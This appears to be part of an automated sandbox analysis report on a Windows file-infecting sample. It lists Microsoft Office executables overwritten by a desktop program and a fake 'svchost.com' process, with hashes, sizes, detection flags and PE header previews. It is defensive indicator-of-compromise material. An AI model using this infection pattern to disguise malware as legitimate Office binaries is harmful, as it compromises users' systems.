SHA-256:	22CC2A1543DC27CC8F1925ACB173E34141C4FF9E1A012C572E932BB6FD91B4C1
SHA-512:	D0DCB842E46D1F372DBFF6CF1D3DEF6BA5461770400DE2BB7DFD9CB0DB35E80DC721C779E2CF8F852BA9B9EA9E5937D6C4DA31989D399107B6075C6771928486
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\DATABASECOMPARE.EXE

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	233832
Entropy (8bit):	6.440520521123031
Encrypted:	false
SSDEEP:	3072:zr8WDrCqW32GhNvMQ/58sl2U2Gszlz4SNBZCgMWku:Puf2GhN0lsdspzPgg1
MD5:	605C2C89F9F2A47F991EF737877F2FB6
SHA1:	14E316AFBCA1D6590C6105B7BF76A72339C3ADEF
SHA-256:	E96F113D251169D2B4DB5F51BFBF5F20609702F7B0BEA5FEA55CD4DF71A70682
SHA-512:	506E962224D44478E14FDA6A093E861E225745E36A3B32B7BC98E337F1B492A3664AD84497ECBFB427A967D3CA0390CED92D11FD9E8EF3D7887D2D9415243D5B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\SPREADSHEETCOMPARE.EXE

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	502632
Entropy (8bit):	6.717621615137878
Encrypted:	false
SSDEEP:	6144:PuyWDxGH79J2VX5gEpvm7JA8I6BHAlSpFG/+Ls3ze30xB7zq2zs:0MxCvm7JK6JAB/6N30xpI
MD5:	A18560DD287C61996F6C3498FF2B6F8F
SHA1:	B81EF528445CCE2BA94A933385FAF56DA526CC25
SHA-256:	551C24CB52C55EB77300FAE5F77A9EE565848DA83A5CEBC4587C5912C94C0A92
SHA-512:	2B94CA43D2F41EE88A81121889DBCFF7B014622FFA2B3048DB7CCA1C6FB7CB3D18CCCB9F4791002E166040A658FA317E42B520D44929973E034B56B7ED9C62C9
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exe

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	352704
Entropy (8bit):	6.382223038880705
Encrypted:	false
SSDEEP:	6144:PuoEshacHeGXduZtZ9zHVcI3uv7FgR3FTzWQ/ZZyp1:6sHHrtuZtPvh3FuQ/jyp1
MD5:	E517FFDADC37CBB8E4DF9D8C4595BAEB
SHA1:	CAC4F749D83EFAE571B6A581F0579F5EF0F5CFA1
SHA-256:	6B837B2B22A40521E234CE3B11A961C631927951B443DD47EF5E37E54390D907
SHA-512:	500B9C4AABEDAA1D430AE07651C65CABB226B482426960307F457B665686FB846C740B7F26EDE1C4607D8F294467547DAB8590E3C017EDDE4855F3C4934914F7
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\GRAPH.EXE

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4395184
Entropy (8bit):	5.936769631564012
Encrypted:	false
SSDEEP:	98304:eXuo5RMru45b5dZlAj0sqW7YDKMzVwgBWMTwLe7G:gR345NRAgsr7QH6h93
MD5:	79B2B70DAC7CA2C9EB315575E068755C
SHA1:	CF384F4ED6E51DC0C61853DF080F4CB38738FEA5
SHA-256:	76E95029FD569C640C864AF19AE98DFA5DEA2C6162B0BDA0137EB283A3DFA496
SHA-512:	4EEE60388342062701C05C633C1820E8A46836DFAEAEB5EEEBFC4B4104885D3A9219DFDD7012B815F66A45DF6BBE8C3EC9C1AC27E7EE56B1EFE08A6D9149DD8E
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\IEContentService.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	603928
Entropy (8bit):	6.5283708663431606
Encrypted:	false
SSDEEP:	12288:/zKRgqBDxoiPCLXHLuk/Wg4Reh2mbeF+IGboJdx:rKgMxoiPoXruPi/++IvJdx
MD5:	C05D4CEB93DF5A97C92332C30BFBBEFE
SHA1:	756FE7D0F337C9434F289D4210C1FDD8AEFE3D5D
SHA-256:	C896D6442442C7A1254A64A9C1934CCD4D26A2776E8B89231F22B0E09D086A40
SHA-512:	06ED302B61C0DA6C490ADFB097A25F4C6F9D03085828CDEAE8A7AEB69769B3A41149A7645C9D198BEF862B18047B99606B5891064A0BD09C36178AFB3017EC7A
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\MSOHTMED.EXE

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	507024
Entropy (8bit):	6.142966147544941
Encrypted:	false
SSDEEP:	6144:Pu3yrmBq0RYSv3A5DhW15yChMFt2XTNJWLgCWzzYhPRt+:BrmBjYuALWJMn2XTmL7hPH+
MD5:	28AD0BC8CBF0F937FA0793A069EEE72C
SHA1:	190CEF5090018E9BE02DCB8D80193323449BD938
SHA-256:	2A9FBCE0BF953A54CFA2124AE4E699B981D4CB9485543F40B28CD952C65D8744
SHA-512:	478EFDF0D097B6977495FFBA953D7494FD72E98DFBFF4C70808378F2EE3FD90C79722E70698081E20540242FA005DF756857BE18BDA3EBEE5BE952BBC61A3254
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSREC.EXE

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	251560
Entropy (8bit):	6.617081143188022
Encrypted:	false
SSDEEP:	6144:PuDomAAOwPcPIqk4Vsvt0uews+qZP9zOPBxGiryKI:0sAETlVsKzZPixGBKI
MD5:	6ED3FDB228C401F308ADA52D82C6A2AC
SHA1:	D5AFF2386B2708D10F68515D0D010E83CABA20E6
SHA-256:	D5A201D9C7373DD91395EA5B24985E9984F3ADA0CBAD869248EC975B80707184
SHA-512:	5431E81924400874EA1173F02B2404BB7C43E8BC158E092C43F4FA071810472E845AC76DEB7716A265A79F357BB07106D2574E3E6F5D2448761BE74F8A694493
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\MSQRY32.EXE

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	751720
Entropy (8bit):	6.630099780481392
Encrypted:	false
SSDEEP:	12288:vdI8PdgELg6eaBlnjlZcTerWv+xdeFhvCs9TukINOW:va8PWELTBlZ+erw+xdeFUsUkEh
MD5:	7503967B649C070ECF4324AD7B82C67D
SHA1:	BA5AA539F9AFF806A5B83417290BF1251D24490A
SHA-256:	2C336BF005CD201043984D768114341FB8B0E8C626A11465A60DF854EF0B2984
SHA-512:	EEABBA2E510054D3A93E9EAE0563CAF46474757E9AD72F79D2D254C783345067D6D0FB46E85A631030A0242789FA3F3B918EDECC8DCC953EDF0283447C19565B
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\NAMECONTROLSERVER.EXE

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	161968
Entropy (8bit):	6.521602439211849
Encrypted:	false
SSDEEP:	3072:zr8WDrCmNDS5lSkjITI1FeBT77NDS5lS3j+Wzy6oUSA7hZ:PumNDS5lSyFeBTfNDS5lS7zUrsZ
MD5:	B3E7C226A4A331C7E684E40A5EA2F167
SHA1:	A2DAF5332D21746897EEC7B131374026FC0A6F4E
SHA-256:	8D819080F7EF8DCD45E539C64026D93F09C51C80DBC86BE86843D09A6B5FAFA5
SHA-512:	2D2DE9E732D6E63BFB666BA7B80F6A36BF85FC56E43F6064C62BCC557D1372F29C97510304201BC3AEBF6B6FF821F3226BFFA11457D868D5430566CE260499D5
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\OLCFG.EXE

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	159560
Entropy (8bit):	6.570907498262082
Encrypted:	false
SSDEEP:	3072:zr8WDrCGklWPsom9TiWWWWWWWQM+FtWAzhIwaeENinkf8xw3xUFv2tGPrtPmF:Pukb5zPaNQnBxw34Oita
MD5:	C59DC4806618B251A7D2DF183DC2F424
SHA1:	F1DC673B63BAA54B719167BAFDB33FF6C31BA67C
SHA-256:	A4817EA9A097D7F66D25BE68972A63E0C5BA7B6FF75FEA4A962C848CAFAB35B8
SHA-512:	71E9945E2E097640D4143198C13C5DBEC8340F8278306A34E017C3DE4A9BD0E88FB2C8DCF3A074935ACA32F329C440760980D1E8D47612F77958B108AE5581D0
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTE.EXE

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2233240
Entropy (8bit):	6.296579565439519
Encrypted:	false
SSDEEP:	24576:HDZgOA74U4o//sbtwvZTqFDk9sg71SmY90gh/G7QJoma+9duNGeVG29H:jqHVhTr5UmY90sGE5dIDG29H
MD5:	F1DE18FEED22A8E7630AEC79D099A8D4
SHA1:	7F500779BD5900802BE6378DDC6914D865823614
SHA-256:	34A7FBF7E86EED217C78BEB3D623DA57628EBFA8C5BC9EE2565BDAA51538A696
SHA-512:	C1EF91874D23626BAD6BB799ED2F1ED238429FA147F5EAEB955EDC51CAAD7F6325CEB6C554E3D15D598E4A54C77EF077D903FCC3DA093F0375765E68E6B40A75
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXE

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	214432
Entropy (8bit):	5.989123271366133
Encrypted:	false
SSDEEP:	3072:zr8WDrCeVFptXofXXXXXXuh9gLzltw6Q1hqOJHrtTh:PuytXofXXXXXXASLzb9uhqK
MD5:	9F2A347123D639951FEE07457AAF9843
SHA1:	7519B79067F897D426E58DB4904F02ACEF2593A8
SHA-256:	C3AA5CFB1C2128BDD9A182170F993EA252CC57A69F2568B9BE61107AFD5CB512
SHA-512:	0402D3741F1C4A22835C59CD5A944D7762C0568E836CBDE8BC7BC389C7CF784D0A0C9F8A03B44A4241F6CE2545334222046B847A2B56AD5E4E182C959AA0A090
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\ORGCHART.EXE

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	620840
Entropy (8bit):	6.5831228635669286
Encrypted:	false
SSDEEP:	12288:moBdI/BUQtsfBCegl2eccL1q/xRyye7BfcwqEhDe:moM/BB0Bml2m1q/xRPCcwFC
MD5:	6892F37A015DB48C0CA5FA54DF6D7CB2
SHA1:	65B2ABD3F0868D94F913387DD198336E9EAA2B57
SHA-256:	9E7D2DCF0E2B775911356828FCD8A6DC3217031ED3E746D31DE5855238D7289B
SHA-512:	6A7222CECE8289A43290E90F118CFD452F81023420491933FEDEA439D3D6AB7FF7488F41FE99F339B51A775AA27F1A717FBBAF08FCF29DDECE0CCA459139BC6E
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\OcPubMgr.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1609720
Entropy (8bit):	5.692567924033725
Encrypted:	false
SSDEEP:	12288:jwF+k53zCG2tIuQ6DtJQSZDhLOhkZzV5i9w/lmd+jrcUiAC:0FXG6uQ6D9L2uV50AlmsjYUiA
MD5:	6D784EF152930411D58ED3F352A663CF
SHA1:	4EF972B346D575A1CB7C761EB566DA73074AC9BB
SHA-256:	F0827398564F95E5F5F125A2024F0137312CE9E22EF1C36A32BCCC417772C411
SHA-512:	774950A3E329D81EF8BF320AA3EB54867A6CCF182DCB30AD4765A945A769F16F7D2E10670272B33D51B6786385E4DDA6D3B9C39FD1D0C7BB0463BAE0155E28C6
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrBroker.exe

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	634800
Entropy (8bit):	6.707249248874713
Encrypted:	false
SSDEEP:	12288:ff/4sOdw+RfEB6tuAlnWhGZco6ijmn5jFTSt7yCPUkazi7JThVoSZeR6aQTJ:X/4Vdw+Ra6V6g2kazidN6SoEVF
MD5:	566DCF1D1A91B81E2353CAD864F7C959
SHA1:	A8A04AD99971D86C04C154B62AB309DD114FDC3E
SHA-256:	B1C16EA839550EAE959FDECA318372B0FE11613F581445BB4CFB0AEA77D0FADC
SHA-512:	3D233B07750A27792370E553B03A9479390A589942FAE8A0447A2CA08C27EFC719DFC4BF51051531C605F7E247430471F38C2FB2F603C4299494136EFF0C8A82
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrSanBroker.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	748192
Entropy (8bit):	6.7117628320084215
Encrypted:	false
SSDEEP:	12288:mKxLM1deLycUTc1kZi7zb1QRHhhj7WGvF5PYcdTFtZ3G97aSDGGHrbTwqFwydBf6:myY14evTc1kZi7zb1KHL8vbTlwOBC
MD5:	A51DD395B5FF4E05F08B338BBDFAF609
SHA1:	660F1465BB464AEC6C3E6D7D1D3336DB6D5D9CF3
SHA-256:	EB23B91782FCFEB4CE7032F285E6DA040C68000CA460A7FBBE161978125EC349
SHA-512:	2370CAA42CB55AE3414ED2CC5ED8AD47BB077A581055891836C74A237FE467960AFDB78DC21B0B9461D6FAA1E27EF6F584886113D5D6CDD188B41266E47D54B5
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\POWERPNT.EXE

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1917048
Entropy (8bit):	3.839578576312592
Encrypted:	false
SSDEEP:	6144:PuoBeXsm81c57ZXFzY5Ucyw4TapP25xxlq4cUcMeTOMzwMwZ:TKs78A5UcyOPexxPcUcMeyvZ
MD5:	451A02B8E292FBD664B654C28C31F8B9
SHA1:	7FFA3FE4C28716A3BC2D80779BDD7F23C54F5327
SHA-256:	0C7DECF13C25A15488EF9E271A1181BBE8A36A183250997ABB1BD21D7BF097F4
SHA-512:	DB59EEFBEFD8734F2B80E314B0F4DE21EBDAA23042226FDEE4671B04A7292F0ABFD6A8E20BDFF977C39EA6FDE37FA02BE69EB2342D65A335E53748314374CDE2
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\PPTICO.EXE

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4099520
Entropy (8bit):	3.7214924488610253
Encrypted:	false
SSDEEP:	12288:jyKs7cvZIFpCYVIUN2mGsb8HtkLaHLH04cLbUBRjLmP29DyZbT9oc/m06aCzE6hE:jyKsY+dy0ZScIBqBT11S0
MD5:	2D199B2128DB10FAB5D5B9E42012C0C3
SHA1:	B62D19530CE4FE15B51617B1E3A2B7049BFB0A6F
SHA-256:	A121D7A3A63D19B05BE33BA7C2391F206E47681FA284E7CA291A5431661B67FB
SHA-512:	022EF54CDCF41E1C8FF0511D9E5AF928394213321571B1C9BF1E6B3AA1D5FB1E29061E5C191B7669F7E2A739B9746312C091D7DDD7F8882145F09FD8B346F4B3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\PerfBoost.exe

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	452120
Entropy (8bit):	6.064959023307563
Encrypted:	false
SSDEEP:	6144:Pu7vhCpFviM0OKAOVf3m+2fCz29fx8/eAeTu:CEpFVKj3mFn9q
MD5:	34D25D2E6B58568411FAD456684772FD
SHA1:	5D9146208EBD9CD2AB1A7B83D90A60205AA2EE9E
SHA-256:	1273B781FF6EE61A3C58A43AF145B03E36274A6B16297BB8A2E13164349242B2
SHA-512:	87DCB3986A415E45C274F2855EB7DA68AA3C36D7A71AC77DAE3E027018003D47BC330B2587AEE4DF7F62BEAE7B4ABB0BA5F0A672D8E0DA23CB6B066AF75BA234
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\SCANPST.EXE

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	116664
Entropy (8bit):	6.585821757768255
Encrypted:	false
SSDEEP:	3072:zr8WDrCtuGaz7jFQ68ICP5q0WISDr34W+wst:PutRazrA5q0WISDrZS
MD5:	40A8D5EE6521EA8FC13C48C47C9B57B6
SHA1:	5FB8A2379097B79DBB9B165F7C487D20DC1625F2
SHA-256:	AC909FA0CFE8E16CB2A414A4B0F0B44E0D10085ECAE1D9F53A8C202DC054154C
SHA-512:	333184A3A961A38C6F09B279B7BF1A31FA4FBB0405CD4D39075A52554ECB8A1C23454D02CA63698327C70C5AE1C32340561C0C6F33A88ABDEF544F65AD42F35E
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\SDXHelper.exe

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	167392
Entropy (8bit):	6.5469411407981974
Encrypted:	false
SSDEEP:	3072:zr8WDrCcWKZbTKeR3Tzp+8IxR8jYYrjHaVLIPSL1CgNX:PucWK11Rp+8II5SLUgp
MD5:	67496215F23C3D121C3716927553975E
SHA1:	3FB19B3855F6FEDCFCEAE694DC5C28683E3653F4
SHA-256:	D0C2DF02E3DED17200DC56B693F52B47E7D960D05C6B6B5F7716997419303ECB
SHA-512:	0EB0D378F109604C568C732A197D9412A65221A4AD36889873EA3652D5D0382D40C9D5B38BD51F501E4BD55BFE2A326AE4D06F485D3129C9A2AC1C11CAFC0567
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\SELFCERT.EXE

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	670928
Entropy (8bit):	6.023912988523441
Encrypted:	false
SSDEEP:	12288:+wbRB+ZRhFfGNpzX5PtiPWRnTLtx5eq4/RnYRoS2Ds+2EYR1XLlShtg7ksyST2Rz:+wbT+ZR3fGrzX5PtiPWRnTLtx5eq4/R9
MD5:	2B5B1A87C47D9C38BFA8D1F52BACF31E
SHA1:	A995A7645E47DE7EE659286613BAA71B531BB7AD
SHA-256:	2AF58E681F49488E146E626D3D94F366C5A58D0B78729D491D2688D214264A4D
SHA-512:	78F8F078E2924E7CD977F068533E98AB80AC8DBA11960BC2A5D9AB4ADC93A0A72D62A9F2D920EDA5F1D5E4C18085E6171AA9AF075C3872AFCC06B06077EF1A96
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\SETLANG.EXE

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	115920
Entropy (8bit):	6.214080793399046
Encrypted:	false
SSDEEP:	1536:yxqjQ+P04wsZLnDrCiwyK75Rp1Ukkz2zct/rzdaBotnMuvWM6TUaE:zr8WDrCiwyK1Fiz2ir+o5vWM6TUaE
MD5:	851430DBF73C5925ED0C0AB46B4704FF
SHA1:	794C0FF390BE93A23BF28DDBE9DD26B81604BF5E
SHA-256:	F6F47F6D0027988B9DD6171C72257050C195ABDA9CE45346C01D000AD35998B1
SHA-512:	A8A081DFEB1D4491392013A1C14F95A40AB8DEF526294DD47B5F289ECC5C232D7437E4E0AA0E21A817F049F5FCD9EC7859E8A32FECE58749F89A34F6FCF83882
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\SkypeSrv\SKYPESERVER.EXE

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
